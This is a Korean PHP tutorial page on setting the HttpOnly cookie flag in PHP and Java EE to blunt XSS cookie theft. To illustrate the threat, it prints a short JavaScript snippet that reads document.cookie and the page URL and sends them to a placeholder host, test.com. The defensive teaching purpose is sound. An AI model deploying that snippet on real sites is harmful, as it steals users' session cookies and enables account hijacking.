>백엔드 개발 >PHP 튜토리얼 >PHP는 XSS 공격을 방지하기 위해 httponly를 사용합니다.

PHP는 XSS 공격을 방지하기 위해 httponly를 사용합니다.

怪我咯
怪我咯원래의
2017-07-12 15:30:492258검색
  1. HttpOnly란 무엇인가요?

    cookie에 HttpOnly 속성을 설정하면 js 스크립트를 통해 쿠키 정보를 읽을 수 없으므로 XSS 공격을 효과적으로 방지할 수 있습니다. 자세한 내용은 Google에서 검색해 보세요

  2. JavaEE의 API가 지원되나요?

현재 Sun에서는 관련 API를 발표하지 않았지만 PHP와 C#에서 구현했습니다. javaEE에 종사하는 형제들은 매우 우울합니다. 아래에 해결 방법이 있습니다.

3.HttpOnly 설정 예

javaEE
response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

이 기사에서는 xss 공격을 방지하기 위해 httponly를 사용하는 PHP의 xss 방어를 주로 소개합니다. PHP 메소드에 HttpOnly를 설정하면 도움이 필요한 친구들이 참고할 수 있습니다.

말할 것도 없이 xss의 개념은 매우 해롭습니다. 즉, xss 취약점이 웹사이트에 나타나면 임의의 js 코드를 실행할 수 있다는 의미입니다. 문제는 공격자가 js를 사용하여 cookie 또는 sessionhijack을 얻는 것입니다. 여기에 민감한 정보(신원 정보, 관리자 정보) 등이 많이 포함되어 있으면 끝입니다. . .

다음 js는 쿠키 정보를 얻는 데 사용됩니다.

코드는 다음과 같습니다.

url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;

일반적으로 쿠키는 documentobject에서 가져옵니다. 이제 쿠키를 설정할 때 브라우저는 일반적으로 HttpOnly라는 매개 변수와 함께 허용됩니다. 도메인 및 기타 매개변수는 동일합니다. 이 HttpOnly가 설정되면 브라우저의 문서 객체에 쿠키가 표시되지 않습니다.

PHP 설정 HttpOnly:

//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

PHP5.1 통과 이전 PHP 버전의 경우:

header("Set-Cookie: hidden=value; httpOnly");

마지막으로 HttpOnly는 만병통치약이 아닙니다!

위 내용은 PHP는 XSS 공격을 방지하기 위해 httponly를 사용합니다.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.